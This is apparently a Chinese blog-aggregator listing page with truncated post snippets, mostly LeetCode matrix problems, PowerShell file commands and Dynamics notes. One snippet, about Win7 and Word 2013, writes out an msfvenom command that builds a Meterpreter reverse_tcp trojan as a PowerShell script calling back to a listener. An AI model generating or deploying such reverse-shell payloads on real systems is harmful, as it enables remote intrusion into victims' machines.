在一个由 '0' 和 '1' 组成的二维矩阵内,找到只包含 '1' 的最大正方形,并返回其面积。 输入:matrix = [["1","0","1","0","0"],["1","0","1","1","1"],["1","1","1&quo ...
分类:
其他好文 时间:
2021-04-08 13:08:23
阅读次数:
0
地址 https://leetcode-cn.com/problems/spiral-matrix-ii/ 给你一个正整数 n ,生成一个包含 1 到 n2 所有元素,且元素按顺时针顺序螺旋排列的 n x n 正方形矩阵 matrix 。 示例 1: 输入:n = 3 输出:[[1,2,3],[8, ...
分类:
其他好文 时间:
2021-04-06 14:49:59
阅读次数:
0
█ 0.代码函数: ○ 0.1 边界 Integer.MAX_VALUE int[] preorder ==> preorder == null || preorder.length == 0 char[][] board ==> board == null int[][] matrix ==> ( ...
分类:
其他好文 时间:
2021-04-06 14:10:55
阅读次数:
0
题意:求无向图去掉每一条边后的两两最短路之和 非标解 之前见过去掉每个点的两两最短路的问题,用的区间分治+Floyed,我想着边的也可以试一试,结果就过了。。。 设g(l,r)表示除了[l,r]区间内的边都加上了的情况下的两两最短路矩阵,那么有递推式$\left\{\begin{matrix}\be ...
分类:
其他好文 时间:
2021-04-06 14:09:28
阅读次数:
0
2021-04-01:给定一个正方形矩阵matrix,原地调整成顺时针90度转动的样子。[[a,b,c],[d,e,f],[g,h,i]]变成[[g,d,a],[h,e,b],[i,f,c]]。
2021-04-01:给定一个正方形矩阵matrix,原地调整成顺时针90度转动的样子。[[a,b,c],[d,e,f],[g,h,i]]变成[[g,d,a],[h,e,b],[i,f,c]]。 福大大 答案2021-04-01: 四数交换。先外圈交换,再内圈交换。 代码用golang编写。代码如下 ...
分类:
其他好文 时间:
2021-04-02 13:25:35
阅读次数:
0
48. 旋转图像 LeetCode_48 题目描述 方法一:使用辅助数组 class Solution { public void rotate(int[][] matrix) { //第i,j的元素翻转后出现在倒数第i列的第j个元素 int m = matrix.length; int n = m ...
分类:
编程语言 时间:
2021-03-30 13:19:14
阅读次数:
0
#获取当前目录下的所有.proto 的文件信息 ls *.proto -r | % versioninfo #将当前文件夹下的 proto 文件复制到c盘的proto 文件夹 Copy-Item .\*\*.proto C:\proto -Recurse ...
分类:
系统相关 时间:
2021-03-26 15:22:26
阅读次数:
0
环境: win7 64位,word2013 生成木马 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.135 LPORT=1122 -f psh-reflection >x.ps1 ? 放到VPS上,这里我们放到本机搭 ...
分类:
系统相关 时间:
2021-03-18 14:14:35
阅读次数:
0
With digital transformation permeating every industry, organizations are driving efforts to accelerate business outcomes, and achieve greater efficien ...
分类:
其他好文 时间:
2021-03-18 14:04:58
阅读次数:
0
Dual-write overview Effective November 2020: Common Data Service has been renamed to Microsoft Dataverse. For more information, see Power Automate Blo ...
分类:
其他好文 时间:
2021-03-18 14:04:39
阅读次数:
0